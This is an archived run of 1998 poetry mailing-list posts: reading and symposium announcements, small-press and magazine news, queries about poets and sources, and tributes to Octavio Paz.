Shameless.

Necessary.

I am a lecturer on the PERFORMANCE WRITING degree course at Dartington College of Arts http://www.dartington.ac.uk/ in Devon, UK (Subject Director: Caroline Bergvall). I am visiting the US to present a performance of The Unspeakable Rooms at the CLEVELAND PERFORMANCE ART FESTIVAL (last years info at http://www.performance-art.org/perfcore.html) at the Cleveland Public Theatre http://www.en.com/cpt/on on 20th May (despite what it says on the website!). Rory McDermott (movement/voice) has devised an event from my text (using video, audio tape and live performance) which has been funded by the Arts Council of England and which will tour in Britain in the Fall.

I am seeking gigs between 17th and 31th May to talk to people who want to know more about the Performance Writing course, in particular potential undergraduate students, students considering joining the postgraduate taught courses planned for 1999, students considering applying to do research at Dartington. These would not be formal information sessions organised by the college, but chats from my perspective as a member of staff.

I am also seeking poetry reading gigs. I was resident writer at the TATE GALLERY in ST IVES, CORNWALL (their site is at http://www.tate.org.uk/menu.htm). (Text and images from my book Waves on Porthmeor Beach (illustrated by Sandra Blow RA) were displayed on the walls of the Gallery amongst the paintings during the exhibition 'Porthmeor Beach: A Century of Images' (1995/6). The book is a diary of precise descriptions of the waves on the beach during the six months combined with brief image poems and texts discussing the process of writing and the nature of the collaboration with Sandra Blow). My performance piece for 9 voices speaking at the same

time (Voices (for 9)) was performed at the Royal Court in London in 1994. Other works have been presented at the Tate St Ives, Dartington Arts, Ferens Gallery in Hull, at the Edinburgh Fringe etc etc. I edit/publish words worth language arts (writers include: Carlyle Reedy, C Bergvall, J Mac Low, Mac Wellman, H Chopin, dsh, Ken Edwards, cris cheek, Ernst Jandl etc). I have edited a section on Performance Writing for PERFORMING ARTS JOURNAL (their site is at http://128.220.50.88/journals/performing_arts_journal/) which should be coming out fairly soon. I've been publishered by: Stride, Spectacular Diseases, Lobby, Talus, RWC http://www.geocities.com/Athens/Oracle/6753/rwcmain.html, Arts Council etc.

I am in the States for only a week or two but I would appreciate any suggestions/offers. Texts can be emailed to any who want to see the sort of stuff I write. It ranges from multi-voice work aiming at the condition of music through the overlapping of many speaking voices and texts without apparent coherence or meaning to comparatively coherent and comprehensible poems and patches of prose. I have a postgraduate degree from the University of Leeds and am doing research for a PhD at Dartington. What else might be of use... er...

backchannel on mailto:[redacted]

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481. **louis stroffolino**

Re: Has anyone heard of this magazine...

Mon 20 Apr 1998

Merritt Clifton definitely edited a magazine called SAMIZDAT in the late 80's from the border of Ontario/Vermont..... It had been around awhile, because I think it was issue #216 around then.....so it's possible he also edited the magazine about which Achembeau speaks. But that was "before my time"-- I know that CLifton was a VERY interesting man, moved around a lot, both geographically as well as in terms of jobs, etc.... good to hear (from Steven Marks) that he's still at it..... Chris Stroffolino

On Fri, 17 Apr 1998, Steven Marks wrote:

> *Samizdat: I think it was published by Merritt Clifton who now publishes (last I knew) a magazine called "Animal People." Address is PO Box 960, Clinton, WA 98236. More info re that mag in 32nd ed. of Int'l Directory of Little Magazines..*
> *Hope this helps.*
>
> *On Fri, 17 Apr 1998, Robert Archambeau wrote:*
>
> *I'm looking for some information about a poetry magazine called*

> *"Samizdat," published in California in, I think, the late 70s and early 80s. If anyone could backchannel me information about the publisher, the dates of publication, etc., I'd appreciate it.*
>
> *Best,*
>
> *Bob*
> *--*
> *Robert Archambeau*
> *Department of English*
> *Lake Forest College*
> *Lake Forest, IL 60045*
> *http://www.lfc.edu/~archamb/*
>
> *" on the end*
> *of each decision stands a heretic"*
> *--Michael Barrett*
>
> ---
>
> *Steven Marks*
>
> *http://members.aol.com/swmarks/welcome.html*
>
> ---

↑ Index

482. **r.drake**

Certainty Series by Dean Taciuch

Mon 20 Apr 1998

Burning Press is pleased to announce our latest release:
Certainty Series, a book of poems by Dean Taciuch.

---

certainty

leaves trails. The way back, though, may be through. Less certain, un-
certain. You said no one ever came by, but the bicyclist disagreed- there
were other roads, lesser known paths into questions.

Or around the answers as though they were trees. Such shade they cast
fell to us, covering us in cool demonstrations. No need, no need. We have
not returned.

Blankets, the chill of evening, the blue light fading into black. The fringes are a comfort, marking the transition from wool to skin. leaves it open, allows air to breathe through. Into the question, where

leaves trail
less certain, un-
stable elements beyond a sense
that can or can't be
seen there the cyclist's
broken spokes

spoken answers as though they were
leaves cool demarcations no
need for the blanket blue fading into
fringes of comfort wood to skin
leaves they open into

steady
questions of relative ease
study questions in the quiet
uncertainty of bookish introductions
looking at instructions not
reading them

a stream of information just this side of
breaking through into sense. Give it a break,
break it off, listen:

what sound? the fingers rake across a blank
expanse of leaves.

Dean Taciuch live in Burke VA, just outside of Fairfax, but "I retreat to the hills of WVa every chance I get." Having attended Kent State, Ohio University, and University of Southwestern Louisiana, he is now Visiting Assistant Professor at George Mason University, teaching Composition, Creative Writing, Literature courses. Dynamic Ribbon Device published his chapbook _( )box ( )set_ in 1996; his work has also appeard in Die Young, Texture, Mirage/Period(ical), Articulate (DC Arts journal), Situation, and Antenym. Two of his Java based visual poems are available at the Wr-Eye-Tings Scratchpad site: http://www.burningpress.org/wreyeting/ .

Certainty Series, poems by Dean Taciuch; $7.50 ppd from
Burning Press
PO Box 585
Lakewood OH 44107

Feel free to contact Burning Press for additional information:

[redacted]
www.burningpress.org/bphome.html
luigi-bob drake, editor

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483. **Rachel Blau DuPlessis**
Re: Speaking of George Oppen
Mon 20 Apr 1998

---

a further note RE: Oppen. If Adam could indicate which letter it was, I should be glad to try and intepret it as best I can or to contextualize it. I probably could have identified every word in that book soon after it was published, but at a distance of 8 years, I need a little date or something to help out. Or page number. Rachel

↑ Index

484. **Rachel Blau DuPlessis**
Re: Speaking of George Oppen
Mon 20 Apr 1998

---

sorry--Aaron, not Adam. (no indication of accuracy of my editing job) Rachel

↑ Index

485. **Michael J Kelleher**
mayday97mayday98 (fwd)
Mon 20 Apr 1998

---

day Thursday

---------- Forwarded message ----------
Date: Mon, 20 Apr 1998 13:35:30 +0100
From: cris cheek <[redacted]>
To: "Michael J. Kelleher" <[redacted]>
Subject: mayday97mayday98

Hi, Mike, hope you're well. Thinking stuff out for your mailer. Do visit the following site on May 1st, and make responses.

Hope that you'll be interested in news of this forthcoming web site and be inspired to contribute an observation from your everyday of May 1st 1998

PLEASE PASS THIS ON TO ANYONE YOU THINK MAY BE INTERESTED
and apologies if you've received this message twice!

mayday97mayday98
http://www.mayday.var.org

(hosted by var e-zine)

a web site re-evaluating one year on since the 'sea-change' General Election through observations of everyday life

The site goes on-line at 00.01hrs (BST) May 1st 1998 unfolding over the day on an hourly basis until 23.59 hrs (BST). It presents selected extracts from a project, initiated by poet / publisher cris cheek, as a homage to Mass Observation, which generated a wide range of texts and images from the everyday lives of people around Britain, on Mayday 97. cris cheek (Sound & Language), together with Var editor, Kirsten Lavers invite responses throughout mayday 98 to be uploaded as they come in.

Not another Mass Observation project surely!

No. This is not about one person snooping on their neighbour, or their community. These are those details of their own everyday lives, that people have a desire to register. 'mayday97mayday98' begins to map what people make a 'note' of, what strikes them, what catches their attention. What is important to them, in that place and at that time, however mundane or ephemeral that may appear to be.

Why this site, now?

Contributions to mayday97 inevitably included a lot of references to the General Election. We thought that, one year on, some reconsiderations were called for. The contributions invited to this site on May 1st this year form part of that process. What results will remain on-line for the foreseeable future, hosted by var e-zine, at this URL. There will be other onward developments from this project, including a planned book publication.

- - - How to take part this year - - -

Everyone is encouraged to contribute to mayday98. Either in response to something seen or read on the site OR an observation that YOU make on May 1st this year. When we get your observation it will be loaded up, asap. And your name (unless you ask otherwise), will be added onto the growing list of contributors. You can contribute texts and images of all kinds (photos, drawings, scans, photocopies, writing), shorter, pithier, things are best. We might make a selection. NB. (Please do it on May 1st only!)

- here's how
1. fax on 01223 576082
2. e-mail [redacted]
3. send an attachment with your e-mail message (we can accept rtf, text,

j.peg formats)
4. telephone a message to 01223 576082 we will check the answer machine every half an hour and transcribe your message direct onto the site

Things to include (optional)
- your location (or the location of the observation)
- your name (names will not be attached to individual contributions on the site)
- how we can contact you (a book is in the planning stages, and other developments are likely from this site)

###

Mass Observation

Mass Observation was founded, sixty years ago, in 1937, by Tom Harrison, a self trained anthropologist, Charles Madge, poet and journalist, and Humphrey Jennings, painter, poet, writer and film-maker. Mass Observation challenged the claim of the press to represent the views of ordinary people. Despite the male grouping that mobilised it, Mass Observation archived an extraordinary and incomparably rich body of writing by women.

The Mass Observation Day Survey of May 12th 1937 exploded simplistic notions of collective identity. It compiled reports, written on that day by hundreds of people in all 'walks of life'. The result stands as an interrogation of the construction of meta-narrative. However, Mass Observation did contribute to the sense that 'big brother was watching you', and resulted in some prurient 'othering'.

May 12th 1937 was the Coronation day of George VI - a day that was claimed to represent a 'sea-change' for the British people. 'mayday 97' marked another such defining moment.

we look forward to receiving your observation
cris cheek and Kirsten Lavers

mayday97mayday98
http://www.mayday.var.org

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486. **dbkk**
Donahue, Roberson at SPT
Mon 20 Apr 1998

Small Press Traffic presents

Joseph Donahue
Ed Roberson

Thursday, April 23, 7:30 p.m.
New College Cultural Center
766 Valencia Street, San Francisco
$5

Joseph Donahue's new chapbook will be out in time for this event . . . Terra Lucida (Heaven Bone Press). Though he spent many years in New York, he comes to us now from Seattle. He's the author of World Well Broken (Talisman House, 1995), Monitions of the Approach (Red Dust, 1991) and Before Creation (Central Park Editions, 1989). He was one of the editors of Primary Trouble: An Anthology of Contemporary American Poetry. Donahue¹s poetry is devotional, dark, always on the edge--Bataille meets The Song of Bernadette. Its panoramic energy is harnessed by a stunning prosody, but still the margins of his poems look awfully vulnerable, like something's bound to burst out.

Ed Roberson is the celebrated author of Voices Cast Out to Talk Us In, winner of the 1994 Iowa Poetry Prize, as well as several earlier books including When Thy King Is a Boy, Etai-Eken, and Lucid Interval as Integral Music. His selected poems (Just In/Word of Navigational Challenges) will appear in the fall, and you heard it here first! Roberson has been compared to such masters as Ornette Coleman, Gabriel Garcia Marquez, Romare Bearden in his complexity and dedication to experiment. This formal bravura and elasticity explores as has no other poetry the mysteries of the African-American experience, seen and heard backwards and forwards in time and space. Ed Roberson is assistant director of special programs at Cook College, Rutgers University. This is a rare San Francisco appearance by one of the great poets of our time.

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487. **dbkk**
Small Press Traffic webpage
Mon 20 Apr 1998

Though still very much under construction, the Small Press Traffic webpage is up:

http://www.sptraffic.org

Be our guinea pigs--check it out! Any suggestions, comments, or corrections would be appreciated.

The website includes upcoming events, bio blurbs from past authors, as well as book reviews from our last two newsletter.

Soon the never-before-seen reviews from the overdue SPT newsletter will also be posted.

Many thanks to Diana Cage and Pamela Lu for all their hard work on this project.

Dodie Bellamy

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488. William Burmeister Prod
Octavio Paz 1914-1998
Mon 20 Apr 1998

Adios maestro, capitan mi capitan.
- un miembro de su sociedad secreta.

O Captain! my Captain! our fearful trip is done,
The ship has weather'd every rack, the prize we sought is won,
- Walt Whitman

William Burmeister

↑ Index

489. L.MacMahon and T.R.Healy
Re: Small Press Traffic webpage
Mon 20 Apr 1998

Still under construction but no need for hard hats or much ducking here. It looks very well. Attractively laid out, simple to use and already substantial. I had no idea that spt had published so many authors. The review page is particularly good. A site capable of carrying a great deal of stuff while still having a nice airy feel. Well worth bookmarking.

Randolph Healy

At 11:00 20/04/98 -0700, you wrote:
>Though still very much under construction, the Small Press Traffic webpage
>is up:
>
>http://www.sptraffic.org
>
>Be our guinea pigs--check it out! Any suggestions, comments, or
>corrections would be appreciated.
>
>The website includes upcoming events, bio blurbs from past authors, as well
>as book reviews from our last two newsletter.
>
>Soon the never-before-seen reviews from the overdue SPT newsletter will

>also be posted.
>
>Many thanks to Diana Cage and Pamela Lu for all their hard work on this
>project.
>
>Dodie Bellamy
>
>

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490. Marcella Durand
Poetry Project Symposium
Mon 20 Apr 1998

The Poetry Project's 1998 Symposium: Invention & Identity, is taking place May 7-10th, St. Mark's Church, 2nd Ave & 10th St in Manhattan.

Thursday May 7th
8 pm
Reading with Tim Atkins, Mark Nowak, Julie Patton, Wang Ping.
reception to follow

Friday May 8th
1 pm
Panel Discussion: Writers & Judaism: Personal Diaspora with Jane Delynn, Hettie Jones, Elinor Nauen, Douglas Rothschild & Bob Rosenthal, moderator.

3:30 pm
Panel Discussion: Tongue-less or Double-Tongued: The Experience of Latin American Poetry in the U.S. with Ernesto L. Grosman, Jaime Manrique, Mercedes Roffe, Carmen Valle & Cecilia Vicuna, moderator

8 pm
Reading: Brenda Coultas, Maggie Estep, John S. Hall & Sharan Strange
reception to follow

Saturday, May 9th
11 am
Panel Discussion: Blues & Hip-Hop Identity with Steve Cannon, Beth Coleman, Tracy Sherrod, Christopher Stackhouse & David Henderson, moderator.

1 pm
Panel Discussion: The Invention of Class with Patricia Spears Jones, Sharon Mesmer, Murat Nemet-Nejat, Rod Smith & Gary Lenhart, moderator

3 pm
Short Takes on Identity & Invention: Eddie Bell, Mei-mei Berssenbrugge, Lee Ann Brown, Regie Cabico, Ava Chin, Jordan Davis, Tim Davis, Zhang Er, Chris Funkhouser, Lisa Jarnot, Kimberly Lyons, Mark McMorris, Ange Mlinko, Murat Nemet-Nejat, Sianne Ngai, Leonard Schwartz, Prageeta Sharma, Sparrow, Sharan Strange, Chris Stroffolino & more.

8 pm
Reading/Performance: Todd Colby & the Yogurt Boys, Darius James, Edwin Torres with Gina Bonati & Ladislav Czerneck & Vole.
reception to follow

Sunday, May 10th
2 pm
Short Takes Part II: Rosa Alcala, Meena Alexander, Bruce Benderson, Anselm Berrigan, Tracy Blackmer, Daniel Bouchard, Jorge Clar, Todd Colby, Jeffery Conway, Brenda Coultas, Marcella Durand, Merry Fortune, C.S. Giscombe, Kimiko Hahn, Marcella Harb, Darius James, Julia Kunina, Jocelyn Lieu, Gillian McCain, Josie McKee, Ed Morales, Mark Nowak, Julie Patton, Wang Ping, Keith Roach, Mark Salerno, Eleni Sikelianos, Pamela Sneed, Brian Kim Stefans, Edwin Torres, John Yau and more.

Individual events are $7, $4, free to members. All-day Saturday pass is $20 ($15 students & members). Passes to all events are $40, $30 students, $25 members. Sponsors' passes are $100 (includes 1-year membership to the Project).

For more information/answers/questions, call [redacted].

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491. Billy Little
Re: Speaking of George Oppen
Mon 20 Apr 1998

do you find all your mistakes that quickly, the navaho disrupt their geometric patterns, build an error in because only god is perfect or so i've been told, so the perfect pattern would be the mistake, the forgery, the insincere prayer.

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492. Stephen Cope
Re: Donahue, Roberson at SPT
Tue 21 Apr 1998

Ed Roberson will also, for those closer to this end of the state, be reading at UCSD (San Diego) on April 29, 4:30PM at the Visual Arts Performance Space.

Stephen

> *Small Press Traffic presents*
>
> *Joseph Donahue*
> *Ed Roberson*
>
> *Thursday, April 23, 7:30 p.m.*
> *New College Cultural Center*
> *766 Valencia Street, San Francisco*
> *$5*
>
> *Joseph Donahue's new chapbook will be out in time for this event . . . Terra Lucida (Heaven Bone Press). Though he spent many years in New York, he comes to us now from Seattle. He's the author of World Well Broken (Talisman House, 1995), Monitions of the Approach (Red Dust, 1991) and Before Creation (Central Park Editions, 1989). He was one of the editors of Primary Trouble: An Anthology of Contemporary American Poetry. Donahue's poetry is devotional, dark, always on the edge--Bataille meets The Song of Bernadette. Its panoramic energy is harnessed by a stunning prosody, but still the margins of his poems look awfully vulnerable, like something's bound to burst out.*
>
> *Ed Roberson is the celebrated author of Voices Cast Out to Talk Us In, winner of the 1994 Iowa Poetry Prize, as well as several earlier books including When Thy King Is a Boy, Etai-Eken, and Lucid Interval as Integral Music. His selected poems (Just In/Word of Navigational Challenges) will appear in the fall, and you heard it here first! Roberson has been compared to such masters as Ornette Coleman, Gabriel Garcia Marquez, Romare Bearden in his complexity and dedication to experiment. This formal bravura and elasticity explores as has no other poetry the mysteries of the African-American experience, seen and heard backwards and forwards in time and space. Ed Roberson is assistant director of special programs at Cook College, Rutgers University. This is a rare San Francisco appearance by one of the great poets of our time.*

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493. **dbkk**
more readings you don't want to miss
Tue 21 Apr 1998

Hi everyone, it's Kevin Killian. Thanks to all who replied to my plea for someone to come stay in my apartment while I'm out of town next week. Yes, we have several winners who will arrive in shifts, to take care of our two cats, Blanche and Stanley. I'm sure you all have heard the story about how I inserted their names "Blanche and Stanley" into the popular anagram program on the

web and the first thing that came up was "Channeled by Satan" (!!!) but that is a calumny of the alphabet, they are sweet and timid, like field mice or lilies.

Anyhow while I'm there, back east, at my brother's wedding in the Bronx, Dodie Bellamy and I will also be reading at the Poetry Project at St Marks on Wednesday April 29th (2nd Avenue at East 10th Street). Dodie¹s novel "The Letters of Mina Harker" will be hot off the presses by then (Hard Press) and she will be reading from it. "The Letters of Mina Harker is a great book in every respect," says Dennis Cooper. "Mesmerisingly secretive, yet huge and generous in scope, it's a dazzling stylistic and intellectual feat down to its tiniest syllables and asides, and almost sure to be one of the touchstones of contemporary fiction. Mark my words."

Then the intermission and then I come on with my short play "Cut," the Alfred Hitchcock story, staged reading with a cast of NY poets, painters, and novelists: D-L Alvarez, Bruce Andrews, Lee Ann Brown, Tim Davis, Kenward Elmslie, Eileen Myles, Sianne Ngai, Michelle Rollman, Eleni Sikelianos, Lynne Tillman, Laurie Weeks and Joe Westmoreland; and myself. A discontented faculty wife (Myles) embarks on a sultry affair with a young cub reporter (Davis), while her husband (Elmslie), director of the Berkeley Film Commission, plans a theory-heavy salute to the films of Alfred Hitchcock (also played by Davis). In another plot line, couture king Karl Lagerfeld (Andrews) descends onto Berkeley to dethrone Lancome spokesmodel Isabella Rossellini (Tillman) and replace her with the younger, Bard-educated Chita du Sumatra (Rollman).

Then onto Washington D.C. where we will read again on Saturday, May 2 at 7:30 p.m. at the Ruthless Grip Art Project, 1508 U Street NW, near the corner of U and 15th. Dodie will again read from her cornerstone of contemporary fiction, and I will be reading from my own work, and also first reading of the newly discovered "³Fix Poems" of Jack Spicer, discovered in November 1997 and soon to be published as a book by Steven Clay of Granary Books (with pictures by Fran Herndon). Sure to cause a stir on the Beltway and we are inviting Monica Lewinsky too.

Sorry to make this post so long--you can see I don't get out much.

Kevin

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494. **John Tranter**

Jacket # 3 is complete, and awaits your attention

Tue 21 Apr 1998

JACKET magazine -
fast-loading, international, FREE

quarterly in January, April, July and October
full of stylish writing - on the Internet, at
http://www.jacket.zip.com.au

Announcement from Jacket editor John Tranter:

Jacket # 3 is now complete. Issue # 3 is dedicated to the memory of the Australian poet JOHN FORBES, who died unexpectedly on 23 January at the age of 47 at his home in Melbourne. It contains his stylish and laconic ode to drugs titled "Speed: A Pastoral", and poems by many of his friends, including Gig Ryan, Karlein van den Beukel, Rae Desmond Jones, Tracy Ryan, Keston Sutherland, John Kinsella, Ken Bolton, Hugh Tolhurst, John Tranter, and a portrait painting by Ken Searle of Mr Forbes as the god Zeus wearing a towel and holding a barbecue fork. As well: Special article: Eliot Weinberger on the lost Chilean poet Omar Cáceres. Interview: Russell Chatham, artist and publisher from Clark City Press, interviewed in the wilds of Montana. Reviews: Charles Nicholl's enlightening biography "Somebody Else - Rimbaud in Africa", and Drew Milne on John Wilkinson's "Sarn Helen". Poems by Andrea Brady, Tom Clark, Johanna Drucker, Hans Magnus Enzensberger, Mark Ford, Peter Gizzi, Kris Hemensley, Michele Leggott, Joel Lewis, Harry Mathews' thought-provoking and Oulipian "Chronogram for 1998", Drew Milne, Ron Padgett, Hugh Tolhurst, John Wilkinson . . . Plus many photographs and quirky works of art, the article "Thank God for the Bourgeoisie", Jacket's Photo Tips, Great Moments in Literature (metamorphic diathermal annealing, 1943), etc.

Plus Jacket's growing illustrated list of links to Literary Sites on the Internet, bookstores around the world (many with direct e-mail and Internet links!), and links to sites offering tips and resources for designing your own Web pages.

Q: Golly! Tell me more about Jacket! A: Well, since you ask . . . In November 1997, Jacket was the featured Internet site on the Electronic Poetry Center at the State University of New York at Buffalo. In December 1997, Jacket was among the top recommended sites and the subject of an extended review on Web Del Sol, a major literary arts Internet conglomerate site in the US. In December 1997, Jacket won the "Best of the Web" award from the Poetry Mining Company, an Internet site in New York. In April 1998 Jacket was "Featured Site" on the Booksmith Bookstore's "Literary Links" site in San Francisco at http://www.booksmith.com/links.html

Q: Tell me about the rich treasure trove of back issues -
are they always available?
A: Absolutely!

JACKET # 1 - a piece on cyber-poetry in the age of the Internet, interviews with English poet Roy Fisher and Australian aboriginal poet Lionel Fogarty, a look at the 1943 hoax poet Ern Malley (including rare childhood photos!), work

by Charles Bernstein, Elaine Equi, Pamela Brown, Alfred Corn, Joanne Burns, Tracy Ryan, Carl Rakosi, Beth Spencer, Peter Minter, Susan Schultz and Paul Hoover, together with reviews, other prose and poetry pieces and plentiful photos and art work. Jacket # 1 was complete in October 1997.

JACKET # 2 - John Ashbery : two interviews (1985 and 1988), and a new Ashbery poem / Marjorie Perloff on "Normalizing John Ashbery" / John Tranter : 3 John Ashberys / Eliot Weinberger on James Laughlin (1914-1997) / David Lehman - more on the Ern Malley hoax / Bob Perelman's "The Marginalization of Poetry" discussed by Ron Silliman, Anne Lauterbach, Juliana Spahr, Steve Evans and Kate Lilley ... and Bob Perelman! / Yasusada - Hoax, deception, or work of art? Johnson-Nagahata letters / poems by Peter Riley, Lee Ann Brown, John Kinsella, Eileen Myles, August Kleinzahler, Jennifer Moxley, Robert Adamson, Forrest Gander, Tim Davis, Michael Heller, Denis Gallagher / Eliot Weinberger's "Letter from New York: Vomit" / and other poems and articles. Jacket # 2 was complete in January 1998.

Q: And just how much does this glittering jewel of the Internet cost?
A: Nix!
Nowt!
Nil!
Zilch!
Jacket is FREE, and (thus) is at present unable to
pay contributors. Also, I don't have the time yet to deal with unsolicited submissions. Sorry. My e-mail address is

[redacted]

Please tell your friends about Jacket, whose motto is "bop till you drop!"

END

from
John Tranter, 39 Short Street, Balmain NSW 2041, Sydney, Australia
tel ([redacted] fax ([redacted]
http://writing.upenn.edu/epc/authors/tranter/3poems-interview.html
Editor, Jacket magazine: http://www.jacket.zip.com.au

↑ Index

495. linda russo

query

Tue 21 Apr 1998

---

forever in search of women editors, i'd appreciate
EMAiL addresses for --

Jessica Grim

Liz Fodaski

Melanie Nielson

Susan Smith Nash

Thanks Kindly

↑ Index

496. **AERIALEDGE**
Philadelphia Reading
Tue 21 Apr 1998

Thursday April 23rd, 8 PM

Jennifer McCreary
& Rod Smith

at George's 5th St Cafe

corner of 5th & Gaskill
(1/2 block north of South St)

↑ Index

497. **dbkk**
Re: Small Press Traffic webpage
Tue 21 Apr 1998

> *Date: Mon, 20 Apr 1998 20:00:55 +0100*
> *From: "L.MacMahon and T.R.Healy" <[redacted]>*
> *Subject: Re: Small Press Traffic webpage*
>
> *Still under construction but no need for hard hats or much ducking here. It looks very well. Attractively laid out, simple to use and already substantial. I had no idea that spt had published so many authors. The review page is particularly good. A site capable of carrying a great deal of stuff while still having a nice airy feel. Well worth bookmarking.*
>
> *Randolph Healy*

Randolph,

Thanks for the encouragement. We purposely kept the webpage simple--and the simplicity and elegance of Laura Moriarty's *non* inspired us to go through with the project. We used PageMill because a trained monkey could do a web-site with PageMill--and because Pam Lu works for Adobe and therefore could purchase a copy for Small Press Traffic for pennies. Also, it's available at the

computer labs of San Francisco State and New College, where much of the work on the page took place--as well as on people's home computers. Small Press Traffic's computers, god bless their micro hearts, are not powerful enough to run PageMill. Pam and Diana Cage, both of whom had some previous experience (unlike me who had to go through the PageMill tutorial just to be able to talk to them) also did some hand coding. Originally Diana, who is a creative writing student at SF State, designed a version with frames, but the computer lab guy at SF State recommended against it, saying that many of the types of people who would access our site wouldn't have computers powerful enough for frames. The autho bios section is Pam's brainchild. The project was/is fun, very grassroots, with the SPT board putting in input as well, and myself and SPT intern Sonia Greenfield acting as assistants to Diana and Pam.

A photo section is soon to be added.

Dodie

↑ Index

498. **Maria Damon**
hannah weiner queries
Tue 21 Apr 1998

---

in weiner's Clairvoyant Journal, who is "Rhys?" is "charlemagne" Charles Bernstein? what was jackson mac low's name before he changed it? thanks, all respondents, in advance--md

↑ Index

499. **Miekal And**
Re: hannah weiner queries
Tue 21 Apr 1998

Schuchat Simon wrote:
>
> I believe "rhys" is "Rhys Chatham" a musician active in NY in 70s 80s,
> played with Peter Gordon, the Lovely Music Orchestra, various others that
> used to perform at the Kitchen
>
> not 100 percent sure though

in that vein, perhaps charlemagne would be charlemagne palanstine, the pianist?

↑ Index

500. Tom Thompson
D.A. Powell, NYC Reading
Tue 21 Apr 1998

For any in the New York environs, the lovely and spectacularly talented Doug Powell is in town from San Francisco to read from his new book TEA.

4PM
Saturday, April 25

LABYRINTH BOOKS
536 W. 112 Street
(btw bwy & amst)

[he'd make my bed jumble and squeak. a parrot must have lit inside. potty mouthed]
a song of Regan MacNeil

he'd make my bed jumble and squeak. a parrot must have lit inside. potty mouthed

I wouldn't have said, "quaquaquaquaqua" but his fingers pushed the dark: sores raised like letters

he wanted to gather all the air: buzzarding. cold air flaps against the back of my skull

perched upon as a child bride: I felt my abdomen surge. captain howdy is kicking me

hurt red pulp of a melon. I bless the beak the tiny beak. he has long black lashes like wings.

--from TEA

↑ Index

501. Steven Marks
Re: Small Press Traffic webpage
Tue 21 Apr 1998

On Tue, 21 Apr 1998 [redacted] wrote:

> *We purposely kept the webpage simple--and*
> *the simplicity and elegance of Laura Moriarty's *non* inspired us to go*
> *through with the project.*

An excellent webzine to model.

> *Originally Diana, who is a creative writing student at SF State, designed a*
> *version with frames, but the computer lab guy at SF State recommended*

> *against it, saying that many of the types of people who would access our site wouldn't have computers powerful enough for frames.*

Thank you, thank you, to the unknown computer lab guy. I wish I had frames. There must be a lot of good stuff I'm missing because I don't. But that dude's right.

And now I'm going to go take a look at the SPT site myself. With Netscape 1.0.

Steven

Steven Marks

http://members.aol.com/swmarks/welcome.html

↑ Index

502. **Rachel Levitsky**

Re: Homi Bhabha

Tue 21 Apr 1998

Hello

I have and am using an essay called "The Commitment to Theory" by Homi K. Bhabha, paginated 111-131. But the person who gave it to me doesn't have the reference, nor does the person who gave it to her. I'd like to site it. Does anyone know where this comes from??????

Also, would anyone be interested in me posting who will be at Naropa this summer (June 15-July 12) and when?

best,
RAchel D.

↑ Index

503. **dbkk**

Re: Speaking of George Oppen

Tue 21 Apr 1998

> *Date: Sun, 19 Apr 1998 23:40:25 -700*
> *From: Aaron Vidaver <[redacted]>*
> *Subject: Speaking of George Oppen*
>
> *My copy of the video recording of the 1983 George Oppen Tribute arrived here (in Vancouver) last week, after being manhandled and taxed by customs agents.*
> *What a disappointment! I have the sense that the tape must have cut-out mid-way, after Burton Hatlen.*

I'm curious about this too. Was this event held in San Francisco, because if it was, I think I was there. I remember an auditorium and Rachel at the podium speaking, and George Oppen sitting in the back of the auditorium, and a tape being played of Oppen speaking or reading because he was too ill to do so in person.

My knowledge of the poetry world was quite fuzzy back then--and I went to everything, an anything. I was eager. Did this really happen? Was I really there?

Dodie

↑ Index

504. Aldon Nielsen
PAZ
Tue 21 Apr 1998

This morning's LA TIMES carries a front page story on Paz, as does the NY TIMES -- then also has an editorial, a reprint of a Paz essay (in the "LIVING" section interestingly enough) and Mario Vargas Llosa's tribute --

the couple of times that I met him he was a friendly and encouraging man -- i was deeply saddened by the political feuds of his later years, but continue to find his poetry and essays inspiring -- a word I don't often use --

his RENGA remain a delight --

↑ Index

505. Aldon Nielsen
Bromige and Davidson in Los Angeles
Tue 21 Apr 1998

Tired of reading about Bromige's readings in Kansas and Colorado? Fly into L.A. this week and see for yourself --

Thursday, April 23
David Bromige and Michael Davidson
Poetry reading
7:30 PM
Loyola Marymount University
Hilton #300B & C
Los Angeles

Friday, April 24
Noon
Michael Davidson and David Bromige
open discussion of poetry

Loyola Marymount University
Hilton #300B & C
Los Angeles

Directions:

From the 405, take Manchester towards the ocean --
Turn right on Loyola Blvd., which leads directly into the campus
Stop at guard's booth for parking info. and directions

↑ Index

506. **Daniel Zimmerman**
Re: Homi Bhabha
Tue 21 Apr 1998

Rachel Levitsky wrote:
>
Rachel,
Homi K. Bhabha: an Overview

Benjamin Graves '98, Brown University

In "The Commitment to Theory," an essay collected in The Location of Culture (1994), Homi K. Bhabha foregrounds the unfortunate and perhaps false opposition of theory and politics that some critics have framed in order to question the elitism and Eurocentrism of prevailing postcolonial debates...

from:
http://www.stg.brown.edu/projects/hypertext/landow/post/poldiscourse/bhabha/bhabha1.html

The Location of Culture
by Homi K. Bhabha
List: $20.99
Our Price: $16.79
You Save: $4.20 (20%)

Availability: This title usually
ships within 2-3 days.

Paperback, 285 pages
Published by Routledge
Publication date: February 1994
Dimensions (in inches): 0.91 x 9.20
x 6.14
ISBN: 0415054060

Perhaps?

Dan Z

Hello
>
> I have and am using an essay called "The Commitment to Theory" by Homi
> K. Bhabha, paginated 111-131. But the person who gave it to me doesn't
> have the reference, nor does the person who gave it to her. I'd like to
> site it. Does anyone know where this comes from??????
>
> Also, would anyone be interested in me posting who will be at Naropa
> this summer (June 15-July 12) and when?
>
> best,
> RAchel D.

↑ Index

507. William Burmeister Prod

Re: PAZ

Tue 21 Apr 1998

On Apr 21, 12:52pm, Aldon Nielsen wrote:
> Subject: PAZ
> This morning's LA TIMES carries a front page story on Paz, as does the NY
> TIMES -- then also has an editorial, a reprint of a Paz essay (in the
> "LIVING" section interestingly enough) and Mario Vargas Llosa's tribute --
>
> the couple of times that I met him he was a friendly and encouraging man --
> i was deeply saddened by the political feuds of his later years, but
> continue to find his poetry and essays inspiring -- a word I don't often
> use --
>
> his RENGA remain a delight --
>-- End of excerpt from Aldon Nielsen

When Octavio Paz was here in S.Fla two years ago he was kind and generous to all of those who sought him for autographs even while Derek Walcott and Ceslaw Milosz stood off somewhat neglected. I do remember hearing that in the same trip, a conservative Cuban-American managed to snag him for a talk on Castro and Cuba, which surprised me because of his earlier stand against ideological involvement. What was the nature of his political feuds in Mexico in his later years?

William Burmeister

↑ Index

508. **MAYHEW**
Guerra y paz
Tue 21 Apr 1998

Paz was never politically unengaged, to the best of my knowledge. And of course he was virulently anti-castro, anti-communist. He had notorious feuds with Neruda, who was an unrepentant Stalinist to the end.

